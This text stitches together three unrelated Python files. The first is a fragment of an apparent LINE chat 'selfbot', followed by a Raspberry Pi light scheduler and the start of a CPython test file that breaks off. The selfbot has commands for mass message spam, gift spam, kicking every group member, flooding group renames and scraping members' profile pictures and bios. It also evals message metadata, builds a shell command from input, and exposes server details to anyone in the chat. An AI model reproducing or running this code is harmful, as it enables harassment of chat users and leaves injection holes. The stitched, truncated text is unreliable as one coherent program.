alin.sendText(msg.to,"Url inActive") else: alin.sendText(msg.to,"Can not be used outside the group") #-------------------------------------------------------- #------------- elif "Mybio" in msg.text: string = msg.text.replace("Mybio:","") if len(string.decode('utf-8')) <= 60000000000: profile = alin.getProfile() profile.statusMessage = string alin.updateProfile(profile) alin.sendText(msg.to,"๔€œ๔€‡”๔ฟฟUpdate Bio๐Ÿ‘‰" + string + "๐Ÿ‘ˆ") #-------------------------------------------------------- #--------------------------------------------------------- elif "Myname" in msg.text: string = msg.text.replace("Myname:","") if len(string.decode('utf-8')) <= 600000000000: profile = alin.getProfile() profile.displayName = string alin.updateProfile(profile) alin.sendText(msg.to,"The name " + string + " I did NI change โ—‘") #----------------------------------------------- #-------------------------------------------------------- #------------- elif "Gr bio" in msg.text: string = msg.text.replace("Assist bio:","") if len(string.decode('utf-8')) <= 60000000000: profile = ki.getProfile() profile.statusMessage = string ki.updateProfile(profile) ki.sendText(msg.to,"๔€œ๔€‡”๔ฟฟUpdate Bio๐Ÿ‘‰" + string + "๐Ÿ‘ˆ") #-------------------------------------------------------- #--------------------------------------------------------- elif "Gr name:" in msg.text: string = msg.text.replace("Assist name:","") if len(string.decode('utf-8')) <= 600000000000: profile = ki.getProfile() profile.displayName = string ki.updateProfile(profile) ki.sendText(msg.to,"The name " + string + " I did NI change โ—‘") #----------------------------------------------- elif msg.text in ["Join on","Autojoin:on"]: wait["AutoJoin"] = True alin.sendText(msg.to,"AutoJoin Active") elif msg.text in ["Join off","Autojoin:off"]: wait["AutoJoin"] = False alin.sendText(msg.to,"AutoJoin inActive") #-------------------------------------------------------- #----------------------------------------------- #---------- #======================================== elif "Steal cover @" in msg.text: if msg.from_ in admin: print "[Command]dp executing" _name = msg.text.replace("Steal cover @","") _nametarget = _name.rstrip(' ') gs = alin.getGroup(msg.to) targets = [] for g in gs.members: if _nametarget == g.displayName: targets.append(g.mid) if targets == []: alin.sendText(msg.to,"Contact not found") else: for target in targets: try: contact = alin.getContact(target) cu = alin.channel.getCover(target) path = str(cu) alin.sendImageWithURL(msg.to, path) except: pass print "[Command]dp executed" elif "Midpict:" in msg.text: if msg.from_ in admin: umid = msg.text.replace("Midpict:","") contact = alin.getContact(umid) try: image = "http://dl.profile.line-cdn.net/" + contact.pictureStatus except: image = "https://www.1and1.co.uk/digitalguide/fileadmin/DigitalGuide/Teaser/not-found-t.jpg" try: alin.sendImageWithURL(msg.to,image) except Exception as error: alin.sendText(msg.to,(error)) pass elif "Steal pict " in msg.text: if msg.from_ in admin: if msg.toType == 2: msg.contentType = 0 steal0 = msg.text.replace("Steal pict ","") steal1 = steal0.lstrip() steal2 = steal1.replace("@","") steal3 = steal2.rstrip() _name = steal3 group = alin.getGroup(msg.to) targets = [] for g in group.members: if _name == g.displayName: targets.append(g.mid) if targets == []: alin.sendText(msg.to,"not found") else: for target in targets: try: contact = alin.getContact(target) try: image = "http://dl.profile.line-cdn.net/" + contact.pictureStatus except: image = "https://www.1and1.co.uk/digitalguide/fileadmin/DigitalGuide/Teaser/not-found-t.jpg" try: alin.sendImageWithURL(msg.to,image) except Exception as error: alin.sendText(msg.to,(error)) pass except: alin.sendText(msg.to,"Error!") break else: alin.sendText(msg.to,"Tidak bisa dilakukan di luar grup") elif "Say " in msg.text: say = msg.text.replace("Say ","") lang = 'id' tts = gTTS(text=say, lang=lang) tts.save("hasil.mp3") alin.sendAudio(msg.to,"hasil.mp3") #----------* elif msg.text.lower() == 'ifconfig': botKernel = subprocess.Popen(["ifconfig"], stdout=subprocess.PIPE).communicate()[0] alin.sendText(msg.to, botKernel + "\n\n===SERVER INFO NetStat===") elif msg.text.lower() == 'system': botKernel = subprocess.Popen(["df","-h"], stdout=subprocess.PIPE).communicate()[0] alin.sendText(msg.to, botKernel + "\n\n===SERVER INFO SYSTEM===") elif msg.text.lower() == 'kernel': botKernel = subprocess.Popen(["uname","-srvmpio"], stdout=subprocess.PIPE).communicate()[0] alin.sendText(msg.to, botKernel + "\n\n===SERVER INFO KERNEL===") elif msg.text.lower() == 'cpu': botKernel = subprocess.Popen(["cat","/proc/cpuinfo"], stdout=subprocess.PIPE).communicate()[0] alin.sendText(msg.to, botKernel + "\n\n===SERVER INFO CPU===") elif msg.text in ["Autocancel:on"]: wait["AutoCancel"] = True alin.sendText(msg.to,"The group of people and below decided to automatically refuse invitation") print wait["AutoCancel"][msg.to] elif msg.text in ["Autocancel:off"]: wait["AutoCancel"] = False alin.sendText(msg.to,"Invitation refused turned off") print wait["AutoCancel"][msg.to] #-------------------------------------------------------- #------------- elif 'music ' in msg.text.lower(): if msg.from_ in admin: try: songname = msg.text.lower().replace('music ','') params = {'songname': songname} r = requests.get('http://ide.fdlrcn.com/workspace/yumi-apis/joox?' + urllib.urlencode(params)) data = r.text data = json.loads(data) for song in data: hasil = 'This is Your Music\n' hasil += 'Judul : ' + song[0] hasil += '\nDurasi : ' + song[1] hasil += '\nLink Download : ' + song[4] alin.sendText(msg.to, hasil) alin.sendText(msg.to, "Please Wait for audio...") alin.sendAudioWithURL(msg.to, song[3]) except Exception as njer: alin.sendText(msg.to, str(njer)) #================================================================== elif "Steal bio" in msg.text: if msg.from_ in admin: key = eval(msg.contentMetadata["MENTION"]) key1 = key["MENTIONEES"][0]["M"] contact = alin.getContact(key1) cu = alin.channel.getCover(key1) try: alin.sendText(msg.to,contact.statusMessage) except: alin.sendText(msg.to,contact.statusMessage) elif "Qr on" in msg.text: wait["Qr"] = True alin.sendText(msg.to,"QR Protect Active") elif "Qr off" in msg.text: wait["Qr"] = False alin.sendText(msg.to,"Qr Protect inActive") #-------------------------------------------------------- elif "Autokick on" in msg.text: wait["AutoKick"] = True alin.sendText(msg.to,"AutoKick Active") elif "Autokick off" in msg.text: wait["AutoKick"] = False alin.sendText(msg.to,"AutoKick inActive") #-------------------------------------------------------- elif msg.text in ["K on","Contact:on"]: wait["Contact"] = True alin.sendText(msg.to,"Contact Active") elif msg.text in ["K off","Contact:off"]: wait["Contact"] = False alin.sendText(msg.to,"Contact inActive") #-------------------------------------------------------- elif msg.text in ["Status"]: md = "" if wait["AutoJoin"] == True: md+="โœ” Auto join : on\n" else: md +="โŒ Auto join : off\n" if wait["Contact"] == True: md+="โœ” Info Contact : on\n" else: md+="โŒ Info Contact : off\n" if wait["AutoCancel"] == True:md+="โœ” Auto cancel : on\n" else: md+= "โŒ Auto cancel : off\n" if wait["Qr"] == True: md+="โœ” Qr Protect : on\n" else:md+="โŒ Qr Protect : off\n" if wait["AutoKick"] == True: md+="โœ” Autokick : on\n" else:md+="โŒ Autokick : off" alin.sendText(msg.to,"===[Status Wib bot]===\n"+md) #-------------------------------------------------------- elif msg.text in ["Gift","gift"]: msg.contentType = 9 msg.contentMetadata={'PRDID': 'a0768339-c2d3-4189-9653-2909e9bb6f58', 'PRDTYPE': 'THEME', 'MSGTPL': '5'} msg.text = None alin.sendMessage(msg) elif msg.text in ["Gift1"]: msg.contentType = 9 msg.contentMetadata={'PRDID': '696d7046-843b-4ed0-8aac-3113ed6c0733', 'PRDTYPE': 'THEME', 'MSGTPL': '6'} msg.text = None alin.sendMessage(msg) elif msg.text in ["Gift2"]: msg.contentType = 9 msg.contentMetadata={'PRDID': '8fe8cdab-96f3-4f84-95f1-6d731f0e273e', 'PRDTYPE': 'THEME', 'MSGTPL': '7'} msg.text = None alin.sendMessage(msg) elif msg.text in ["Spam gift"]: msg.contentType = 9 msg.contentMetadata={'PRDID': 'ae3d9165-fab2-4e70-859b-c14a9d4137c4', 'PRDTYPE': 'THEME', 'MSGTPL': '8'} msg.text = None alin.sendMessage(msg) alin.sendMessage(msg) alin.sendMessage(msg) alin.sendMessage(msg) alin.sendMessage(msg) alin.sendMessage(msg) alin.sendMessage(msg) alin.sendMessage(msg) alin.sendMessage(msg) alin.sendMessage(msg) alin.sendMessage(msg) alin.sendMessage(msg) alin.sendMessage(msg) alin.sendMessage(msg) alin.sendMessage(msg) alin.sendMessage(msg) alin.sendMessage(msg) alin.sendMessage(msg) alin.sendMessage(msg) #-------------Fungsi Tag All Start---------------# elif msg.text in ["Tagall","Gr"]: if msg.from_ in admin: group = alin.getGroup(msg.to) nama = [contact.mid for contact in group.members] cb = "" cb2 = "" strt = int(0) akh = int(0) for md in nama: akh = akh + int(6) cb += """{"S":"""+json.dumps(str(strt))+""","E":"""+json.dumps(str(akh))+""","M":"""+json.dumps(md)+"},""" strt = strt + int(7) akh = akh + 1 cb2 += "@nrik \n" cb = (cb[:int(len(cb)-1)]) msg.contentType = 0 msg.text = cb2 msg.contentMetadata ={'MENTION':'{"MENTIONEES":['+cb+']}','EMTVER':'4'} try: alin.sendMessage(msg) except Exception as error: print error #-------------Fungsi Tag All Finish---------------# ##Buat kick by tag lebih dari 1 #--------------------------CEK SIDER------------------------------ elif "Setp" in msg.text: subprocess.Popen("echo '' > dataSeen/"+msg.to+".txt", shell=True, stdout=subprocess.PIPE) alin.sendText(msg.to, "Checkpoint checked!") print "@setview" elif "View" in msg.text: lurkGroup = "" dataResult, timeSeen, contacts, userList, timelist, recheckData = [], [], [], [], [], [] with open('dataSeen/'+msg.to+'.txt','r') as rr: contactArr = rr.readlines() for v in xrange(len(contactArr) -1,0,-1): num = re.sub(r'\n', "", contactArr[v]) contacts.append(num) pass contacts = list(set(contacts)) for z in range(len(contacts)): arg = contacts[z].split('|') userList.append(arg[0]) timelist.append(arg[1]) uL = list(set(userList)) for ll in range(len(uL)): try: getIndexUser = userList.index(uL[ll]) timeSeen.append(time.strftime("%H:%M:%S", time.localtime(int(timelist[getIndexUser]) / 1000))) recheckData.append(userList[getIndexUser]) except IndexError: conName.append('nones') pass contactId = alin.getContacts(recheckData) for v in range(len(recheckData)): dataResult.append(contactId[v].displayName + ' ('+timeSeen[v]+')') pass if len(dataResult) > 0: tukang = "List Viewer\n*" grp = '\n* '.join(str(f) for f in dataResult) total = '\n\nTotal %i viewers (%s)' % (len(dataResult), datetime.now().strftime('%H:%M:%S') ) alin.sendText(msg.to, "%s %s %s" % (tukang, grp, total)) else: alin.sendText(msg.to, "Belum ada viewers") print "@viewseen" #-------------------------------------------------------- #KICK_BY_TAG elif "Boom " in msg.text: if 'MENTION' in msg.contentMetadata.keys()!= None: names = re.findall(r'@(\w+)', msg.text) mention = ast.literal_eval(msg.contentMetadata['MENTION']) mentionees = mention['MENTIONEES'] print mentionees for mention in mentionees: alin.kickoutFromGroup(msg.to,[mention['M']]) #-------------------------------------------------------- elif "Add all" in msg.text: thisgroup = alin.getGroups([msg.to]) Mids = [contact.mid for contact in thisgroup[0].members] mi_d = Mids[:33] alin.findAndAddContactsByMids(mi_d) alin.sendText(msg.to,"Success Add all") #-------------------------------------------------------- elif "Recover" in msg.text: thisgroup = alin.getGroups([msg.to]) Mids = [contact.mid for contact in thisgroup[0].members] mi_d = Mids[:33] alin.createGroup("Recover", mi_d) alin.sendText(msg.to,"Success recover") #-------------------------------------------------------- elif msg.text in ["Remove chat"]: alin.removeAllMessages(op.param2) alin.sendText(msg.to,"Removed all chat") #-------------------------------------------------------- elif ("Gn " in msg.text): if msg.toType == 2: X = alin.getGroup(msg.to) X.name = msg.text.replace("Gn: ","") alin.updateGroup(X) else: alin.sendText(msg.to,"It can't be used besides the group.") #-------------------------------------------------------- elif "Kick " in msg.text: midd = msg.text.replace("Kick: ","") if midd not in admin: alin.kickoutFromGroup(msg.to,[midd]) else: alin.sendText(msg.to,"Admin Detected") #-------------------------------------------------------- elif "Invite " in msg.text: midd = msg.text.replace("Invite: ","") alin.findAndAddContactsByMid(midd) alin.inviteIntoGroup(msg.to,[midd]) #-------------------------------------------------------- elif msg.text in ["#welcome","Welcome","welcome","Welkam","welkam"]: gs = alin.getGroup(msg.to) alin.sendText(msg.to,"Selamat datang di "+ gs.name) #----------------------------------------------- elif "Mid @" in msg.text: if msg.from_ in admin: _name = msg.text.replace("Mid @","") _nametarget = _name.rstrip(' ') gs = alin.getGroup(msg.to) for g in gs.members: if _nametarget == g.displayName: alin.sendText(msg.to, g.mid) else: pass #----------------------------------------------- #-------------------------------------------------------- elif "Bc " in msg.text: bc = msg.text.replace("Bc: ","") gid = alin.getGroupIdsJoined() for i in gid: alin.sendText(i,"=======[BROADCAST]=======\n\n"+bc+"\n") alin.sendText(msg.to,"Success BC BosQ") #-------------------------------------------------------- elif msg.text in ["Cancelall"]: gid = alin.getGroupIdsInvited() for i in gid: alin.rejectGroupInvitation(i) alin.sendText(msg.to,"All invitations have been refused") #-------------------------------------------------------- elif msg.text in ["Gurl"]: if msg.toType == 2: x = alin.getGroup(msg.to) if x.preventJoinByTicket == True: x.preventJoinByTicket = False alin.updateGroup(x) gurl = alin.reissueGroupTicket(msg.to) alin.sendText(msg.to,"line://ti/g/" + gurl) else: if wait["lang"] == "JP": alin.sendText(msg.to,"Can't be used outside the group") else: alin.sendText(msg.to,"Not for use less than group") #-------------------------------------------------------- elif msg.text in ["Self Like","Self like"]: try: print "activity" url = alin.activity(limit=1) print url alin.like(url['result']['posts'][0]['userInfo']['mid'], url['result']['posts'][0]['postInfo']['postId'], likeType=1001) alin.comment(url['result']['posts'][0]['userInfo']['mid'], url['result']['posts'][0]['postInfo']['postId'], "Auto like by: http://line.me/ti/p/~alwijaya11") alin.sendText(msg.to, "Success~") except Exception as E: try: alin.sendText(msg.to,str(E)) except: pass #-------------------------------------------------------- #================================================= elif "Spam " in msg.text: if msg.from_ in admin: txt = msg.text.split(" ") jmlh = int(txt[2]) teks = msg.text.replace("Spam "+str(txt[1])+" "+str(jmlh)+ " ","") tulisan = jmlh * (teks+"\n") #Keke cantik <3 if txt[1] == "on": if jmlh <= 10000: for x in range(jmlh): alin.sendText(msg.to, teks) else: alin.sendText(msg.to, "Out of range! ") elif txt[1] == "off": if jmlh <= 10000: alin.sendText(msg.to, tulisan) else: alin.sendText(msg.to, "Out of range! ") elif msg.text in ["Sp","Speed","speed"]: start = time.time() print("Speed") alin.sendText(msg.to, "ใ€ŒCollecting.........ใ€") elapsed_time = time.time() - start alin.sendText(msg.to, "โ™ฌใ€ŒSpeed : 0.04 - 0.07ใ€\nโ™ฌใ€ŒSpeed is : %sseconds ใ€" % (elapsed_time)) #-------------------------------------------------------- elif msg.text in ["Ban"]: wait["wblacklist"] = True alin.sendText(msg.to,"send contact") elif msg.text in ["Unban"]: wait["dblacklist"] = True alin.sendText(msg.to,"send contact") #-------------------------------------------------------- elif "Backup me" in msg.text: try: alin.updateDisplayPicture(backup.pictureStatus) alin.updateProfile(backup) alin.sendText(msg.to, "Success backup profile") except Exception as e: alin.sendText(msg.to, str(e)) #-------------------------------------------------------- #-------------------------------------------------------- elif "Gr backup" in msg.text: try: ki.updateDisplayPicture(backup.pictureStatus) ki.updateProfile(backup) ki.sendText(msg.to, "Success backup profile") except Exception as e: ki.sendText(msg.to, str(e)) #-------------------------------------------------------- #----------------------------------------------- elif msg.text in ["Gcreator inv"]: if msg.toType == 2: ginfo = alin.getGroup(msg.to) gCreator = ginfo.creator.mid try: alin.findAndAddContactsByMid(gCreator) alin.inviteIntoGroup(msg.to,[gCreator]) print "success inv gCreator" except: pass elif msg.text in ["Invite"]: if msg.from_ in staff: wait["winvite"] = True alin.sendText(msg.to,"send contact โ˜ฌ") #----------------------------------------------- #----------------------------------------------- elif msg.text in ["Gcreator"]: if msg.toType == 2: msg.contentType = 13 ginfo = alin.getGroup(msg.to) gCreator = ginfo.creator.mid try: msg.contentMetadata = {'mid': gCreator} gCreator1 = ginfo.creator.displayName except: gCreator = "Error" alin.sendText(msg.to, "Group Creator : " + gCreator1) alin.sendMessage(msg) #----------------------- elif "Copy " in msg.text: copy0 = msg.text.replace("Copy ","") copy1 = copy0.lstrip() copy2 = copy1.replace("@","") copy3 = copy2.rstrip() _name = copy3 group = alin.getGroup(msg.to) for contact in group.members: cname = alin.getContact(contact.mid).displayName if cname == _name: alin.CloneContactProfile(contact.mid) alin.sendText(msg.to, "Success~") else: pass #----------------------- elif "Gr clone " in msg.text: copy0 = msg.text.replace("Assist clone ","") copy1 = copy0.lstrip() copy2 = copy1.replace("@","") copy3 = copy2.rstrip() _name = copy3 group = ki.getGroup(msg.to) for contact in group.members: cname = ki.getContact(contact.mid).displayName if cname == _name: ki.CloneContactProfile(contact.mid) ki.sendText(msg.to, "Success~") else: pass #-------------------------------------------------------- #-------------Fungsi Leave Group Start---------------# elif msg.text in ["Gr out"]: if msg.from_ in admin: if msg.toType == 2: ginfo = alin.getGroup(msg.to) try: ki.leaveGroup(msg.to) kk.leaveGroup(msg.to) kc.leaveGroup(msg.to) ks.leaveGroup(msg.to) ka.leaveGroup(msg.to) kb.leaveGroup(msg.to) ko.leaveGroup(msg.to) ke.leaveGroup(msg.to) ku.leaveGroup(msg.to) ku2.leaveGroup(msg.to) ku3.leaveGroup(msg.to) ku4.leaveGroup(msg.to) ku5.leaveGroup(msg.to) except: pass #----------------------------------------------- elif "Image " in msg.text: bctxt = msg.text.replace("Image: ","") alin.sendImageWithURL(msg.to,(bctxt)) elif 'searchimage' in msg.text.lower(): try: shi = msg.text.lower().replace("searchimage ","") kha = random.choice(items) url = 'https://www.google.com/search?hl=en&biw=1366&bih=659&tbm=isch&sa=1&ei=vSD9WYimHMWHvQTg_53IDw&q=' + shi raw_html = (download_page(url)) items = items + (_images_get_all_items(raw_html)) items = [] except: try: start = timeit.timeit() alin.sendImageWithURL(msg.to,random.choice(items)) alin.sendText(msg.to,"Total Image Links ="+str(len(items))) except Exception as e: alin.sendText(msg.to,str(e)) elif "Ban @" in msg.text: if msg.toType == 2: print "@Ban by mention" _name = msg.text.replace("Ban @","") _nametarget = _name.rstrip(' ') gs = alin.getGroup(msg.to) targets = [] for g in gs.members: if _nametarget == g.displayName: targets.append(g.mid) if targets == []: alin.sendText(msg.to,"Not found") else: for target in targets: if target not in admin: try: wait["blacklist"][target] = True f=codecs.open('st2__b.json','w','utf-8') json.dump(wait["blacklist"], f, sort_keys=True, indent=4,ensure_ascii=False) alin.sendText(msg.to,"Succes BosQ") except: alin.sendText(msg.to,"Error") else: alin.sendText(msg.to,"Admin Detected~") #-------------------------------------------------------- elif "Random" in msg.text: if msg.from_ in admin: if msg.toType == 2: strnum = msg.text.replace("random:","") source_str = 'abcdefghijklmnopqrstuvwxyz1234567890@:;./_][!&%$#)(=~^|' try: num = int(strnum) group = alin.getGroup(msg.to) for var in range(0,num): name = "".join([random.choice(source_str) for x in xrange(10)]) time.sleep(0.01) group.name = name alin.updateGroup(group) except: alin.sendText(msg.to,"Error") elif msg.text in ["Banlist"]: if wait["blacklist"] == {}: alin.sendText(msg.to,"nothing") else: mc = "" for mi_d in wait["blacklist"]: mc += "->" +alin.getContact(mi_d).displayName + "\n" alin.sendText(msg.to,"===[Blacklist User]===\n"+mc) #-------------------------------------------------------- elif "Unban @" in msg.text: if msg.toType == 2: print "@Unban by mention" _name = msg.text.replace("Unban @","") _nametarget = _name.rstrip(' ') gs = alin.getGroup(msg.to) targets = [] for g in gs.members: if _nametarget == g.displayName: targets.append(g.mid) if targets == []: alin.sendText(msg.to,"Not found") else: for target in targets: try: del wait["blacklist"][target] f=codecs.open('st2__b.json','w','utf-8') json.dump(wait["blacklist"], f, sort_keys=True, indent=4,ensure_ascii=False) alin.sendText(msg.to,"Succes BosQ") except: alin.sendText(msg.to,"Succes BosQ") #-------------------------------------------------------- elif msg.text in ["Kill ban"]: if msg.toType == 2: group = alin.getGroup(msg.to) gMembMids = [contact.mid for contact in group.members] matched_list = [] for tag in wait["blacklist"]: matched_list+=filter(lambda str: str == tag, gMembMids) if matched_list == []: alin.sendText(msg.to,"There was no blacklist user") return for jj in matched_list: alin.kickoutFromGroup(msg.to,[jj]) alin.sendText(msg.to,"Blacklist emang pantas tuk di usir") #-------------------------------------------------------- elif "Kickall" in msg.text: if msg.toType == 2: print "Kick all member" _name = msg.text.replace("Kickall","") gs = alin.getGroup(msg.to) alin.sendText(msg.to,"Dadaaah~") targets = [] for g in gs.members: if _name in g.displayName: targets.append(g.mid) if targets == []: alin.sendText(msg.to,"Not found.") else: for target in targets: if target not in admin: try: alin.kickoutFromGroup(msg.to,[target]) print (msg.to,[g.mid]) except Exception as e: alin.sendText(msg.to,str(e)) #-------------------------------------------------------- #Restart_Program elif msg.text in ["Restart"]: alin.sendText(msg.to, "Bot has been restarted") restart_program() print "@Restart" #-------------------------------------------------------- #----------------------------------------------- if op.type == 19: try: if op.param3 in mid: if op.param2 in Amid: G = ki.getGroup(op.param1) G.preventJoinByTicket = False ki.updateGroup(G) Ticket = ki.reissueGroupTicket(op.param1) alin.acceptGroupInvitationByTicket(op.param1,Ticket) ki.acceptGroupInvitationByTicket(op.param1,Ticket) G.preventJoinByTicket = True alin.updateGroup(G) else: G = ki.getGroup(op.param1) ki.kickoutFromGroup(op.param1,[op.param2]) G.preventJoinByTicket = False ki.updateGroup(G) Ticket = ki.reissueGroupTicket(op.param1) alin.acceptGroupInvitationByTicket(op.param1,Ticket) ki.acceptGroupInvitationByTicket(op.param1,Ticket) G.preventJoinByTicket = True ki.updateGroup(G) wait["blacklist"][op.param2] = False elif op.param3 in op.param3: if op.param1 in protection: OWN = "ue454f1208a40766f4034d0e7abd6e164" if op.param2 in OWN: kicker1 = [alin,ki,kk,ks,kc,ka,km,kn,ko] G = random.choice(kicker1).getGroup(op.param1) G.preventJoinByTicket = False random.choice(kicker1).updateGroup(G) alin.acceptGroupInvitationByTicket(op.param1,Ticket) ki.acceptGroupInvitationByTicket(op.param1,Ticket) G.preventJoinByTicket = True random.choice(kicker1).updateGroup(G) else: G = random.choice(kicker1).getGroup(op.param1) random.choice(kicker1).kickoutFromGroup(op.param1,[op.param2]) G.preventJoinByTicket = False random.choice(kicker1).updateGroup(G) Ticket = random.choice(kicker1).reissueGroupTicket(op.param1) alin.acceptGroupInvitationByTicket(op.param1,Ticket) G.preventJoinByTicket = True random.choice(kicker1).updateGroup(G) wait["blacklist"][op.param2] = True f=codecs.open('st2__b.json','w','utf-8') json.dump(wait["blacklist"], f, sort_keys=True, indent=4,ensure_ascii=False) elif op.param3 in Amid: if op.param2 in mid: G = alin.getGroup(op.param1) G.preventJoinByTicket = False alin.updateGroup(G) Ticket = alin.reissueGroupTicket(op.param1) alin.acceptGroupInvitationByTicket(op.param1,Ticket) ki.acceptGroupInvitationByTicket(op.param1,Ticket) G.preventJoinByTicket = True alin.updateGroup(G) else: G = alin.getGroup(op.param1) alin.kickoutFromGroup(op.param1,[op.param2]) G.preventJoinByTicket = False alin.updateGroup(G) Ticket = alin.reissueGroupTicket(op.param1) alin.acceptGroupInvitationByTicket(op.param1,Ticket) ki.acceptGroupInvitationByTicket(op.param1,Ticket) G.preventJoinByTicket = True alin.updateGroup(G) wait["blacklist"][op.param2] = False f=codecs.open('st2__b.json','w','utf-8') json.dump(wait["blacklist"], f, sort_keys=True, indent=4,ensure_ascii=False) except: pass #--------------------------- if op.type == 19: try: if op.param3 in Amid: if op.param2 in mid: G = alin.getGroup(op.param1) G.preventJoinByTicket = False alin.updateGroup(G) Ticket = alin.reissueGroupTicket(op.param1) alin.acceptGroupInvitationByTicket(op.param1,Ticket) ki.acceptGroupInvitationByTicket(op.param1,Ticket) G.preventJoinByTicket = True alin.updateGroup(G) else: G = alin.getGroup(op.param1) alin.kickoutFromGroup(op.param1,[op.param2]) G.preventJoinByTicket = False alin.updateGroup(G) Ticket = alin.reissueGroupTicket(op.param1) alin.acceptGroupInvitationByTicket(op.param1,Ticket) ki.acceptGroupInvitationByTicket(op.param1,Ticket) G.preventJoinByTicket = True alin.updateGroup(G) elif op.param3 in mid: if op.param2 in Amid: G = ki.getGroup(op.param1) G.preventJoinByTicket = False ki.updateGroup(G) Ticket = ki.reissueGroupTicket(op.param1) alin.acceptGroupInvitationByTicket(op.param1,Ticket) ki.acceptGroupInvitationByTicket(op.param1,Ticket) G.preventJoinByTicket = True ki.updateGroup(G) else: G = ki.getGroup(op.param1) ki.kickoutFromGroup(op.param1,[op.param2]) G.preventJoinByTicket = False ki.updateGroup(G) Ticket = ki.reissueGroupTicket(op.param1) alin.acceptGroupInvitationByTicket(op.param1,Ticket) ki.acceptGroupInvitationByTicket(op.param1,Ticket) G.preventJoinByTicket = True ki.updateGroup(G) wait["blacklist"][op.param2] = False f=codecs.open('st2__b.json','w','utf-8') json.dump(wait["blacklist"], f, sort_keys=True, indent=4,ensure_ascii=False) except: pass #----------------- if op.type == 59: print op except Exception as error: print error #thread2 = threading.Thread(target=nameUpdate) #thread2.daemon = True #thread2.start() while True: try: Ops = alin.fetchOps(alin.Poll.rev, 5) except EOFError: raise Exception("It might be wrong revision\n" + str(alin.Poll.rev)) for Op in Ops: if (Op.type != OpType.END_OF_OPERATION): alin.Poll.rev = max(alin.Poll.rev, Op.revision) bot(Op)
light_controll.py
import threading import datetime TEST_MODE = True if not TEST_MODE: import wiringpi2 as IO class ControllEvent: def __init__(self, start_dtime, end_dtime, start_brightness=0.0, end_brightness=1.0, repeate_delay=None): self.start_dtime = start_dtime self.end_dtime = end_dtime self.start_brightness = start_brightness self.end_brightness = end_brightness self.repeate_delay = repeate_delay print(self.start_dtime, " to ", self.end_dtime) def calc_brightness(self): # perc = (time.time()-self.start_dtime) / (self.end_dtime-self.start_dtime) perc = (datetime.datetime.now()-self.start_dtime) / (self.end_dtime-self.start_dtime) bri = self.start_brightness + (self.end_brightness - self.start_brightness)*perc return max(0.0, min(bri, 1.0)) def on_finished(self, lightCtrl): if self.repeate_delay is None: return self.start_dtime += self.repeate_delay self.end_dtime += self.repeate_delay print("newTimes:", self.start_dtime, " to ", self.end_dtime) lightCtrl.add_controll_event(self) class LightControll: def __init__(self): self.thrd_sleep_duration = 0.2 # sec self.light_pin = 18 self.started = False self.exit_flag = threading.Event() self.brightness = 0.0 # 0.0 to 1.0 self.ctrl_events = [] if not TEST_MODE: IO.wiringPiSetupGpio() IO.pinMode(self.light_pin, IO.GPIO.PWM_OUTPUT) IO.pwmSetClock(1920) IO.pwmSetRange(100) # GPIO.setup(self.light_pin, GPIO.OUT) def __del__(self): self.exit_flag.set() def start(self): if self.started: return self.started = True thrd = threading.Thread(target=self.__run, name='LightControllThread') thrd.start() def add_controll_event(self, event): self.ctrl_events.append(event) self.ctrl_events.sort(key=lambda e: e.start_dtime) print("add", self.ctrl_events) def remove_controll_event(self, event): print("rem", self.ctrl_events) self.ctrl_events.remove(event) self.ctrl_events.sort(key=lambda e: e.start_dtime) def __run(self): print('start') while not self.exit_flag.is_set(): if self.exit_flag.wait(self.thrd_sleep_duration): continue # break if exit flag is set if not self.ctrl_events: self._set_brightness(0.0) continue now = datetime.datetime.now() event = self.ctrl_events[0] if event.end_dtime < now: self.remove_controll_event(event) event.on_finished(self) continue elif event.start_dtime > now: self._set_brightness(0.0) continue self._set_brightness(event.calc_brightness()) def _set_brightness(self, brightness): self.brightness = brightness print("Brightness: {}".format(round(self.brightness, 2))) if not TEST_MODE: IO.pwmWrite(self.light_pin, brightness)
test_sys.py
from test import support from test.support.script_helper import assert_python_ok, assert_python_failure import builtins import codecs import gc import locale import operator import os import struct import subprocess import sys import sysconfig import test.support import textwrap import unittest import warnings # count the number of test runs, used to create unique # strings to intern in test_intern() INTERN_NUMRUNS = 0 class DisplayHookTest(unittest.TestCase): def test_original_displayhook(self): dh = sys.__displayhook__ with support.captured_stdout() as out: dh(42) self.assertEqual(out.getvalue(), "42\n") self.assertEqual(builtins._, 42) del builtins._ with support.captured_stdout() as out: dh(None) self.assertEqual(out.getvalue(), "") self.assertTrue(not hasattr(builtins, "_")) # sys.displayhook() requires arguments self.assertRaises(TypeError, dh) stdout = sys.stdout try: del sys.stdout self.assertRaises(RuntimeError, dh, 42) finally: sys.stdout = stdout def test_lost_displayhook(self): displayhook = sys.displayhook try: del sys.displayhook code = compile("42", "<string>", "single") self.assertRaises(RuntimeError, eval, code) finally: sys.displayhook = displayhook def test_custom_displayhook(self): def baddisplayhook(obj): raise ValueError with support.swap_attr(sys, 'displayhook', baddisplayhook): code = compile("42", "<string>", "single") self.assertRaises(ValueError, eval, code) class ExceptHookTest(unittest.TestCase): def test_original_excepthook(self): try: raise ValueError(42) except ValueError as exc: with support.captured_stderr() as err: sys.__excepthook__(*sys.exc_info()) self.assertTrue(err.getvalue().endswith("ValueError: 42\n")) self.assertRaises(TypeError, sys.__excepthook__) def test_excepthook_bytes_filename(self): # bpo-37467: sys.excepthook() must not crash if a filename # is a bytes string with warnings.catch_warnings(): warnings.simplefilter('ignore', BytesWarning) try: raise SyntaxError("msg", (b"bytes_filename", 123, 0, "text")) except SyntaxError as exc: with support.captured_stderr() as err: sys.__excepthook__(*sys.exc_info()) err = err.getvalue() self.assertIn(""" File "b'bytes_filename'", line 123\n""", err) self.assertIn(""" text\n""", err) self.assertTrue(err.endswith("SyntaxError: msg\n")) def test_excepthook(self): with test.support.captured_output("stderr") as stderr: sys.excepthook(1, '1', 1) self.assertTrue("TypeError: print_exception(): Exception expected for " \ "value, str found" in stderr.getvalue()) # FIXME: testing the code for a lost or replaced excepthook in # Python/pythonrun.c::PyErr_PrintEx() is tricky. class SysModuleTest(unittest.TestCase): def tearDown(self): test.support.reap_children() def test_exit(self): # call with two arguments self.assertRaises(TypeError, sys.exit, 42, 42) # call without argument with self.assertRaises(SystemExit) as cm: sys.exit() self.assertIsNone(cm.exception.code) rc, out, err = assert_python_ok('-c', 'import sys; sys.exit()') self.assertEqual(rc, 0) self.assertEqual(out, b'') self.assertEqual(err, b'') # call with integer argument with self.assertRaises(SystemExit) as cm: sys.exit(42) self.assertEqual(cm.exception.code, 42) # call with tuple argument with one entry # entry will be unpacked with self.assertRaises(SystemExit) as cm: sys.exit((42,)) self.assertEqual(cm.exception.code, 42) # call with string argument 